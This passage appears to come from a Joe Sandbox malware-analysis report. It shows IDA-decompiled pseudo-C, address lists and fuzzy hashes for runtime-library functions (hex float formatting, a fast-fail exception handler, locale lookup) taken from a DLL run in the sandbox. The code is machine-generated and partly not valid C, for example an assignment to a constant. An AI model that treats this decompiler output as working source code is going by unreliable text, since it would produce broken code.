				signed int _t156;
				signed int _t157;
				void* _t161;
				unsigned int _t162;
				intOrPtr _t171;
				signed int _t173;
				signed int* _t174;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t188;
				intOrPtr _t189;
				void* _t190;

				_t186 = _a24;
				if(_t186 < 0) {
					_t186 = 0;
				}
				_t183 = _a8;
				_t3 = _t186 + 0xb; // 0xb
				 *_t183 = 0;
				if(_a12 > _t3) {
					_t140 = _a4;
					_t147 = _t140[1];
					_t173 =  *_t140;
					__eflags = (_t147 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if(__eflags != 0) {
						__eflags = _t147;
						if(__eflags > 0) {
							L13:
							_t20 = _t183 + 1; // 0x2
							_t174 = _t20;
							_t87 = _a28 ^ 0x00000001;
							_v20 = 0x3ff;
							_v5 = _t87;
							_v16 = _t174;
							_v48 = ((_t87 & 0x000000ff) << 5) + 7;
							__eflags = _t147 & 0x7ff00000;
							_t93 = 0x30;
							if((_t147 & 0x7ff00000) != 0) {
								 *_t183 = 0x31;
								L18:
								_t149 = 0;
								__eflags = 0;
								L19:
								_t28 =  &(_t174[0]); // 0x2
								_t184 = _t28;
								__eflags = _t186;
								if(_t186 != 0) {
									_t94 = _a40;
									__eflags =  *((char*)(_t94 + 0x14));
									if(__eflags == 0) {
										E6DA8F860(_t94, _t174, __eflags);
										_t94 = _a40;
										_t174 = _v16;
									}
									_t149 = 0;
									__eflags = 0;
									_t98 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)) + 0x88))))));
								} else {
									_t98 = _t149;
								}
								 *_t174 = _t98;
								_t100 = _t140[1] & 0x000fffff;
								__eflags = _t100;
								_v40 = _t100;
								if(_t100 > 0) {
									L26:
									_t175 = _t149;
									_t150 = 0xf0000;
									_t101 = 0x30;
									_v12 = _t101;
									_v24 = _t149;
									_v28 = 0xf0000;
									while(1) {
										_v32 = _v12 & 0x0000ffff;
										_t104 = _t184;
										_v36 = _t184;
										_v40 = _t186;
										__eflags = _t186;
										if(__eflags <= 0) {
											break;
										}
										_t127 = E6DAA1EF0( *_t140 & _t175, _v32 & 0x0000ffff, _t140[1] & _t150 & 0x000fffff);
										_t161 = 0x30;
										_t129 = _t127 + _t161 & 0x0000ffff;
										__eflags = _t129 - 0x39;
										if(_t129 > 0x39) {
											_t129 = _t129 + _v48;
											__eflags = _t129;
										}
										_t162 = _v28;
										_t175 = (_t162 << 0x00000020 | _v24) >> 4;
										 *_t184 = _t129;
										_t184 = _t184 + 1;
										_t150 = _t162 >> 4;
										_t131 = _v12 - 4;
										_t186 = _t186 - 1;
										_v24 = (_t162 << 0x00000020 | _v24) >> 4;
										_v28 = _t162 >> 4;
										_v12 = _t131;
										__eflags = _t131;
										if(_t131 >= 0) {
											continue;
										} else {
											goto L43;
										}
									}
									_t186 = _v40;
									_t184 = _t104;
									_t105 = E6DA9512D(__eflags, _t140, _t175, _t150, _v32, _a36);
									_t190 = _t190 + 0x14;
									__eflags = _t105;
									if(_t105 == 0) {
										goto L43;
									}
									_t184 = _v36;
									_t146 = 0x30;
									_t124 = _t184 - 1;
									while(1) {
										_t156 =  *_t124;
										__eflags = _t156 - 0x66;
										if(_t156 == 0x66) {
											goto L36;
										}
										__eflags = _t156 - 0x46;
										if(_t156 != 0x46) {
											_t140 = _a4;
											__eflags = _t124 - _v16;
											if(_t124 == _v16) {
												_t65 = _t124 - 1;
												 *_t65 =  *(_t124 - 1) + 1;
												__eflags =  *_t65;
											} else {
												__eflags = _t156 - 0x39;
												if(_t156 != 0x39) {
													_t157 = _t156 + 1;
													__eflags = _t157;
												} else {
													_t157 = _v48 + 0x3a;
												}
												 *_t124 = _t157;
											}
											goto L43;
										}
										L36:
										 *_t124 = _t146;
										_t124 = _t124 - 1;
									}
								} else {
									__eflags =  *_t140 - _t149;
									if( *_t140 <= _t149) {
										L43:
										__eflags = _t186;
										if(_t186 > 0) {
											_push(_t186);
											_t122 = 0x30;
											_push(_t122);
											_push(_t184);
											E6DA8B0A0(_t184);
											_t184 = _t184 + _t186;
											__eflags = _t184;
										}
										_t106 = _v16;
										__eflags =  *_t106;
										if( *_t106 == 0) {
											_t184 = _t106;
										}
										 *_t184 = (_v5 << 5) + 0x50;
										_t176 = _t140[1];
										_t111 = E6DAA1EF0( *_t140, 0x34, _t176);
										_t141 = 0;
										_t188 = _t176 & 0;
										_t70 = _t184 + 2; // 0x2
										_t177 = _t70;
										_t154 = (_t111 & 0x000007ff) - _v20;
										__eflags = _t154;
										_v48 = _t177;
										asm("sbb esi, ebx");
										if(__eflags < 0) {
											L51:
											_t154 =  ~_t154;
											asm("adc esi, ebx");
											_t188 =  ~_t188;
											0x2b = 0x2d;
											goto L52;
										} else {
											if(__eflags > 0) {
												L50:
												L52:
												 *(_t184 + 1) = 0x2b;
												_t185 = _t177;
												_t113 = 0x30;
												 *_t177 = _t113;
												__eflags = _t188 - _t141;
												if(__eflags < 0) {
													L61:
													_t178 = 0x30;
													L62:
													__eflags = _t188 - _t141;
													if(__eflags < 0) {
														L66:
														_t155 = _t154 + _t178;
														__eflags = _t155;
														 *_t185 = _t155;
														 *(_t185 + 1) = _t141;
														L67:
														_t114 = 0;
														__eflags = 0;
														L68:
														return _t114;
													}
													if(__eflags > 0) {
														L65:
														_push(_t141);
														_push(_t141);
														_push(0xa);
														_push(_t188);
														_push(_t154);
														_t115 = E6DAA1F10();
														_v48 = _t178;
														_t178 = 0x30;
														 *_t185 = _t115 + _t178;
														_t185 = _t185 + 1;
														_t141 = 0;
														__eflags = 0;
														goto L66;
													}
													__eflags = _t154 - 0xa;
													if(_t154 < 0xa) {
														goto L66;
													}
													goto L65;
												}
												if(__eflags > 0) {
													L55:
													_push(_t141);
													_push(_t141);
													_push(0x3e8);
													_push(_t188);
													_push(_t154);
													_t118 = E6DAA1F10();
													_t188 = _t141;
													_v40 = _t177;
													_t177 = _v48;
													_t141 = 0;
													_t185 = _t177 + 1;
													 *_t177 = _t118 + 0x30;
													__eflags = _t185 - _t177;
													if(_t185 != _t177) {
														L59:
														_push(_t141);
														_push(_t141);
														_push(0x64);
														_push(_t188);
														_push(_t154);
														_t120 = E6DAA1F10();
														_t188 = _t141;
														_v40 = _t177;
														_t141 = 0;
														_t178 = 0x30;
														 *_t185 = _t120 + _t178;
														_t185 = _t185 + 1;
														__eflags = _t185 - _v48;
														if(_t185 != _v48) {
															goto L65;
														}
														goto L62;
													}
													L56:
													__eflags = _t188 - _t141;
													if(__eflags < 0) {
														goto L61;
													}
													if(__eflags > 0) {
														goto L59;
													}
													__eflags = _t154 - 0x64;
													if(_t154 < 0x64) {
														goto L61;
													}
													goto L59;
												}
												__eflags = _t154 - 0x3e8;
												if(_t154 < 0x3e8) {
													goto L56;
												}
												goto L55;
											}
											__eflags = _t154;
											if(_t154 < 0) {
												goto L51;
											}
											goto L50;
										}
									}
									goto L26;
								}
							}
							 *_t183 = _t93;
							_t149 =  *_t140 | _t140[1] & 0x000fffff;
							__eflags = _t149;
							if(_t149 != 0) {
								_v20 = 0x3fe;
								goto L18;
							}
							_v20 = _t149;
							goto L19;
						}
						if(__eflags < 0) {
							L12:
							 *_t183 = 0x2d;
							_t183 = _t183 + 1;
							__eflags = _t183;
							_t147 = _t140[1];
							goto L13;
						}
						__eflags = _t173;
						if(_t173 >= 0) {
							goto L13;
						}
						goto L12;
					}
					_t114 = E6DA94C28(_t140, _t147, _t173, __eflags, _t140, _t183, _a12, _a16, _a20, _t186, 0, _a32, _a36, _a40);
					__eflags = _t114;
					if(_t114 == 0) {
						_t136 = E6DAA2080(_t183, 0x65);
						__eflags = _t136;
						if(_t136 != 0) {
							 *_t136 = ((_a28 ^ 0x00000001) << 5) + 0x50;
							 *((char*)(_t136 + 3)) = 0;
						}
						goto L67;
					}
					 *_t183 = 0;
					goto L68;
				}
				_t171 = _a40;
				_t189 = 0x22;
				 *((char*)(_t171 + 0x1c)) = 1;
				 *((intOrPtr*)(_t171 + 0x18)) = _t189;
				E6DA8DA42(_t183, _t189, 0, 0, 0, 0, 0, _t171);
				return _t189;
			}

0x6da94907
0x6da9490d
0x6da9490f
0x6da9490f
0x6da94911
0x6da94914
0x6da94917
0x6da9491c
0x6da94941
0x6da94944
0x6da94949
0x6da94953
0x6da94958
0x6da949b1
0x6da949b3
0x6da949c2
0x6da949c5
0x6da949c5
0x6da949c8
0x6da949ca
0x6da949d1
0x6da949e3
0x6da949e6
0x6da949eb
0x6da949ef
0x6da949f0
0x6da94a10
0x6da94a13
0x6da94a13
0x6da94a13
0x6da94a15
0x6da94a15
0x6da94a15
0x6da94a18
0x6da94a1a
0x6da94a20
0x6da94a23
0x6da94a27
0x6da94a2b
0x6da94a30
0x6da94a33
0x6da94a33
0x6da94a39
0x6da94a39
0x6da94a43
0x6da94a1c
0x6da94a1c
0x6da94a1c
0x6da94a45
0x6da94a4a
0x6da94a4a
0x6da94a4f
0x6da94a52
0x6da94a5c
0x6da94a5e
0x6da94a60
0x6da94a65
0x6da94a66
0x6da94a69
0x6da94a6c
0x6da94a6f
0x6da94a75
0x6da94a78
0x6da94a7a
0x6da94a7d
0x6da94a80
0x6da94a82
0x00000000
0x00000000
0x6da94a99
0x6da94aa0
0x6da94aa4
0x6da94aa7
0x6da94aaa
0x6da94aac
0x6da94aac
0x6da94aac
0x6da94ab2
0x6da94ab5
0x6da94ab9
0x6da94abb
0x6da94abf
0x6da94ac2
0x6da94ac5
0x6da94ac6
0x6da94ac9
0x6da94acc
0x6da94acf
0x6da94ad2
0x00000000
0x6da94ad4
0x00000000
0x6da94ad4
0x6da94ad2
0x6da94ad9
0x6da94adc
0x6da94ae4
0x6da94ae9
0x6da94aec
0x6da94aee
0x00000000
0x00000000
0x6da94af0
0x6da94af5
0x6da94af6
0x6da94af9
0x6da94af9
0x6da94afb
0x6da94afe
0x00000000
0x00000000
0x6da94b00
0x6da94b03
0x6da94b0a
0x6da94b0d
0x6da94b10
0x6da94b25
0x6da94b25
0x6da94b25
0x6da94b12
0x6da94b12
0x6da94b15
0x6da94b1f
0x6da94b1f
0x6da94b17
0x6da94b1a
0x6da94b1a
0x6da94b21
0x6da94b21
0x00000000
0x6da94b10
0x6da94b05
0x6da94b05
0x6da94b07
0x6da94b07
0x6da94a54
0x6da94a54
0x6da94a56
0x6da94b28
0x6da94b28
0x6da94b2a
0x6da94b2c
0x6da94b2f
0x6da94b30
0x6da94b31
0x6da94b32
0x6da94b3a
0x6da94b3a
0x6da94b3a
0x6da94b3c
0x6da94b3f
0x6da94b42
0x6da94b44
0x6da94b44
0x6da94b50
0x6da94b54
0x6da94b57
0x6da94b5c
0x6da94b68
0x6da94b6a
0x6da94b6a
0x6da94b6d
0x6da94b6d
0x6da94b70
0x6da94b73
0x6da94b75
0x6da94b81
0x6da94b81
0x6da94b85
0x6da94b87
0x6da94b89
0x00000000
0x6da94b77
0x6da94b77
0x6da94b7d
0x6da94b8a
0x6da94b8a
0x6da94b8d
0x6da94b91
0x6da94b92
0x6da94b94
0x6da94b96
0x6da94bf2
0x6da94bf4
0x6da94bf5
0x6da94bf5
0x6da94bf7
0x6da94c1a
0x6da94c1a
0x6da94c1a
0x6da94c1c
0x6da94c1e
0x6da94c21
0x6da94c21
0x6da94c21
0x6da94c23
0x00000000
0x6da94c23
0x6da94bf9
0x6da94c00
0x6da94c00
0x6da94c01
0x6da94c02
0x6da94c04
0x6da94c05
0x6da94c06
0x6da94c0f
0x6da94c12
0x6da94c15
0x6da94c17
0x6da94c18
0x6da94c18
0x00000000
0x6da94c18
0x6da94bfb
0x6da94bfe
0x00000000
0x00000000
0x00000000
0x6da94bfe
0x6da94b9d
0x6da94ba3
0x6da94ba3
0x6da94ba4
0x6da94ba5
0x6da94ba6
0x6da94ba7
0x6da94ba8
0x6da94bad
0x6da94bb1
0x6da94bb6
0x6da94bb9
0x6da94bbb
0x6da94bbe
0x6da94bc0
0x6da94bc2
0x6da94bcf
0x6da94bcf
0x6da94bd0
0x6da94bd1
0x6da94bd3
0x6da94bd4
0x6da94bd5
0x6da94bda
0x6da94be0
0x6da94be3
0x6da94be5
0x6da94be8
0x6da94bea
0x6da94beb
0x6da94bee
0x00000000
0x00000000
0x00000000
0x6da94bf0
0x6da94bc4
0x6da94bc4
0x6da94bc6
0x00000000
0x00000000
0x6da94bc8
0x00000000
0x00000000
0x6da94bca
0x6da94bcd
0x00000000
0x00000000
0x00000000
0x6da94bcd
0x6da94b9f
0x6da94ba1
0x00000000
0x00000000
0x00000000
0x6da94ba1
0x6da94b79
0x6da94b7b
0x00000000
0x00000000
0x00000000
0x6da94b7b
0x6da94b75
0x00000000
0x6da94a56
0x6da94a52
0x6da949f2
0x6da949fe
0x6da949fe
0x6da94a00
0x6da94a07
0x00000000
0x6da94a07
0x6da94a02
0x00000000
0x6da94a02
0x6da949b5
0x6da949bb
0x6da949bb
0x6da949be
0x6da949be
0x6da949bf
0x00000000
0x6da949bf
0x6da949b7
0x6da949b9
0x00000000
0x00000000
0x00000000
0x6da949b9
0x6da94972
0x6da9497a
0x6da9497c
0x6da94989
0x6da94990
0x6da94992
0x6da949a4
0x6da949a6
0x6da949a6
0x00000000
0x6da94992
0x6da9497e
0x00000000
0x6da9497e
0x6da9491e
0x6da94923
0x6da9492a
0x6da9492e
0x6da94931
0x00000000

APIs

_strrchr.LIBCMT ref: 6DA94989

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: cee29c366bfd669357f0ef9838885ede6ddc8c41f03f959e052772214be76418
Instruction ID: d39dffce3e34d4a19d3b9abf1956c29960384fb4b293a6558bcab18bf42e1368
Opcode Fuzzy Hash: cee29c366bfd669357f0ef9838885ede6ddc8c41f03f959e052772214be76418
Instruction Fuzzy Hash: 08B1597291C2469FDB058F68C8807FEBBF5EF4D304F198266D924AF241D3B49981C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 6DA89EC6 Relevance: 6.1, APIs: 4, Instructions: 73
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E6DA89EC6(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E6DA89FE1(_t34);
				 *_t60 = 0x2cc;
				_v632 = E6DA8B0A0(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E6DA8B0A0(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E6DA89FE1(_t49);
				}
				return _t49;
			}

0x6da89ec6
0x6da89ec6
0x6da89ec6
0x6da89eda
0x6da89edc
0x6da89edf
0x6da89edf
0x6da89ee3
0x6da89ee8
0x6da89f00
0x6da89f06
0x6da89f0c
0x6da89f12
0x6da89f18
0x6da89f1e
0x6da89f24
0x6da89f2b
0x6da89f32
0x6da89f39
0x6da89f40
0x6da89f47
0x6da89f4e
0x6da89f4f
0x6da89f58
0x6da89f5e
0x6da89f61
0x6da89f67
0x6da89f76
0x6da89f82
0x6da89f8d
0x6da89f94
0x6da89f9b
0x6da89fa6
0x6da89fae
0x6da89fb7
0x6da89fb9
0x6da89fbc
0x6da89fbe
0x6da89fc8
0x6da89fd0
0x6da89fd6
0x00000000
0x6da89fdd
0x6da89fe0

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6DA89ED2
IsDebuggerPresent.KERNEL32 ref: 6DA89F9E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6DA89FBE
UnhandledExceptionFilter.KERNEL32(?), ref: 6DA89FC8

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 28fd3f2f183354f3d8a1ee5c9fd4815f74acfceffaf6c9b9119abd2b40c59a46
Instruction ID: 246cfc727d8f300f702cf21e36f679810ff1a125a47099752bf33cc715ceedbc
Opcode Fuzzy Hash: 28fd3f2f183354f3d8a1ee5c9fd4815f74acfceffaf6c9b9119abd2b40c59a46
Instruction Fuzzy Hash: DF313875D0931D9BDB10DFA4DA89BCCBBB8BF08304F1041AAE50DAB240EB755A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C3C1 Relevance: 4.7, APIs: 3, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6DA9C3C1(void* __ecx, signed char __edx, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				signed int _v252;
				intOrPtr _v256;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t50;
				int _t56;
				signed int _t58;
				void* _t74;
				intOrPtr _t80;
				void* _t89;
				void* _t92;
				intOrPtr _t93;
				void* _t94;
				signed int _t111;
				signed int _t115;
				intOrPtr* _t117;
				intOrPtr* _t122;
				signed int* _t124;
				int _t126;
				signed int _t127;
				void* _t128;
				void* _t140;

				_t121 = __edx;
				_t50 =  *0x6dab3014; // 0x6c4e8ceb
				_v8 = _t50 ^ _t127;
				_t125 = _a4;
				_t94 = E6DA92BDC(__ecx, __edx, _a4);
				_t124 =  *(E6DA92BDC(__ecx, __edx, _a4) + 0x34c);
				_t126 = E6DA9C6E9(_t125);
				asm("sbb ecx, ecx");
				_t56 = GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x64)) & 0xfffff005) + 0x1002,  &_v248, 0x78);
				_v252 = _v252 & 0x00000000;
				if(_t56 == 0) {
					L37:
					 *_t124 = 0;
					_t58 = 1;
					L38:
					return E6DA89B91(_t58, _t94, _v8 ^ _t127, _t121, _t124, _t126);
				}
				if(E6DA990B4(_t124, _t126,  *((intOrPtr*)(_t94 + 0x54)),  &_v248) != 0) {
					L16:
					if(( *_t124 & 0x00000300) == 0x300) {
						L36:
						_t58 =  !( *_t124 >> 2) & 0x00000001;
						goto L38;
					}
					asm("sbb eax, eax");
					if(GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78) == 0) {
						goto L37;
					}
					_t74 = E6DA990B4(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248);
					if(_t74 != 0) {
						if( *(_t94 + 0x60) == 0 &&  *((intOrPtr*)(_t94 + 0x5c)) != 0 && E6DA990B4(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248) == 0) {
							_push(_t124);
							_t94 = 0;
							if(E6DA9C843(_t126, 0) == 0) {
								goto L36;
							}
							 *_t124 =  *_t124 | 0x00000100;
							L34:
							if(_t140 == 0) {
								_t124[1] = _t126;
							}
						}
						goto L36;
					}
					_t111 =  *_t124 | 0x00000200;
					 *_t124 = _t111;
					if( *(_t94 + 0x60) == _t74) {
						if( *((intOrPtr*)(_t94 + 0x5c)) == _t74) {
							goto L20;
						}
						_t122 =  *((intOrPtr*)(_t94 + 0x50));
						_v256 = _t122 + 2;
						do {
							_t80 =  *_t122;
							_t122 = _t122 + 2;
						} while (_t80 != _v252);
						_t121 = _t122 - _v256 >> 1;
						if(_t122 - _v256 >> 1 !=  *((intOrPtr*)(_t94 + 0x5c))) {
							_t74 = 0;
							goto L20;
						}
						_push(_t124);
						if(E6DA9C843(_t126, 1) == 0) {
							goto L36;
						}
						 *_t124 =  *_t124 | 0x00000100;
						_t74 = 0;
						L21:
						_t140 = _t124[1] - _t74;
						goto L34;
					}
					L20:
					 *_t124 = _t111 | 0x00000100;
					goto L21;
				}
				asm("sbb eax, eax");
				if(GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78) == 0) {
					goto L37;
				}
				_t89 = E6DA990B4(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248);
				_t115 =  *_t124;
				if(_t89 != 0) {
					if((_t115 & 0x00000002) != 0) {
						goto L16;
					}
					if( *((intOrPtr*)(_t94 + 0x5c)) == 0) {
						L12:
						_t121 =  *_t124;
						if((_t121 & 0x00000001) != 0 || E6DA9C81E(_t126) == 0) {
							goto L16;
						} else {
							 *_t124 = _t121;
							goto L15;
						}
					}
					_t92 = E6DAA07D4(_t94, _t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248,  *((intOrPtr*)(_t94 + 0x5c)));
					_t128 = _t128 + 0xc;
					if(_t92 != 0) {
						goto L12;
					}
					 *_t124 =  *_t124 | 0x00000002;
					_t124[2] = _t126;
					_t117 =  *((intOrPtr*)(_t94 + 0x50));
					_t121 = _t117 + 2;
					do {
						_t93 =  *_t117;
						_t117 = _t117 + 2;
					} while (_t93 != _v252);
					if(_t117 - _t121 >> 1 ==  *((intOrPtr*)(_t94 + 0x5c))) {
						_t124[1] = _t126;
					}
				} else {
					_t124[1] = _t126;
					 *_t124 = _t115 | 0x00000304;
					L15:
					_t124[2] = _t126;
				}
			}

0x6da9c3c1
0x6da9c3cc
0x6da9c3d3
0x6da9c3d8
0x6da9c3e1
0x6da9c3e9
0x6da9c3f8
0x6da9c404
0x6da9c415
0x6da9c41b
0x6da9c424
0x6da9c5fe
0x6da9c600
0x6da9c602
0x6da9c603
0x6da9c611
0x6da9c611
0x6da9c43d
0x6da9c4f8
0x6da9c503
0x6da9c5f2
0x6da9c5f9
0x00000000
0x6da9c5f9
0x6da9c517
0x6da9c52d
0x00000000
0x00000000
0x6da9c53d
0x6da9c546
0x6da9c5b7
0x6da9c5d3
0x6da9c5d4
0x6da9c5e2
0x00000000
0x00000000
0x6da9c5e4
0x6da9c5ed
0x6da9c5ed
0x6da9c5ef
0x6da9c5ef
0x6da9c5ed
0x00000000
0x6da9c5b7
0x6da9c54a
0x6da9c550
0x6da9c555
0x6da9c56a
0x00000000
0x00000000
0x6da9c56c
0x6da9c572
0x6da9c578
0x6da9c578
0x6da9c57b
0x6da9c57e
0x6da9c58d
0x6da9c592
0x6da9c5ae
0x00000000
0x6da9c5ae
0x6da9c594
0x6da9c5a2
0x00000000
0x00000000
0x6da9c5a4
0x6da9c5aa
0x6da9c55f
0x6da9c55f
0x00000000
0x6da9c55f
0x6da9c557
0x6da9c55d
0x00000000
0x6da9c55d
0x6da9c451
0x6da9c467
0x00000000
0x00000000
0x6da9c477
0x6da9c47e
0x6da9c482
0x6da9c494
0x00000000
0x00000000
0x6da9c49a
0x6da9c4de
0x6da9c4de
0x6da9c4e3
0x00000000
0x6da9c4f0
0x6da9c4f3
0x00000000
0x6da9c4f3
0x6da9c4e3
0x6da9c4a9
0x6da9c4ae
0x6da9c4b3
0x00000000
0x00000000
0x6da9c4b5
0x6da9c4b8
0x6da9c4bb
0x6da9c4be
0x6da9c4c1
0x6da9c4c1
0x6da9c4c4
0x6da9c4c7
0x6da9c4d7
0x6da9c4d9
0x6da9c4d9
0x6da9c484
0x6da9c48a
0x6da9c48d
0x6da9c4f5
0x6da9c4f5
0x6da9c4f5

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6DA9C415
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6DA9C45F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6DA9C525

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 40372a693664147d9fa840dca57faadcd0ff4a7f1ac8801d4bc313411c9ea3eb
Instruction ID: f19349fe8807f75032a9a1e4ad1ba51d7bd89ab4000a00927aff4bee457fd0c9
Opcode Fuzzy Hash: 40372a693664147d9fa840dca57faadcd0ff4a7f1ac8801d4bc313411c9ea3eb
Instruction Fuzzy Hash: 4161BF75668A279FEB189E28CD81BBA73F8FF04310F048079E915DA185EB74D9C1CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8D8C3 Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E6DA8D8C3(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x6dab3014; // 0x6c4e8ceb
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E6DA89FE1(_t41);
					_pop(_t61);
				}
				E6DA8B0A0(_t66,  &_v804, 0, 0x50);
				E6DA8B0A0(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
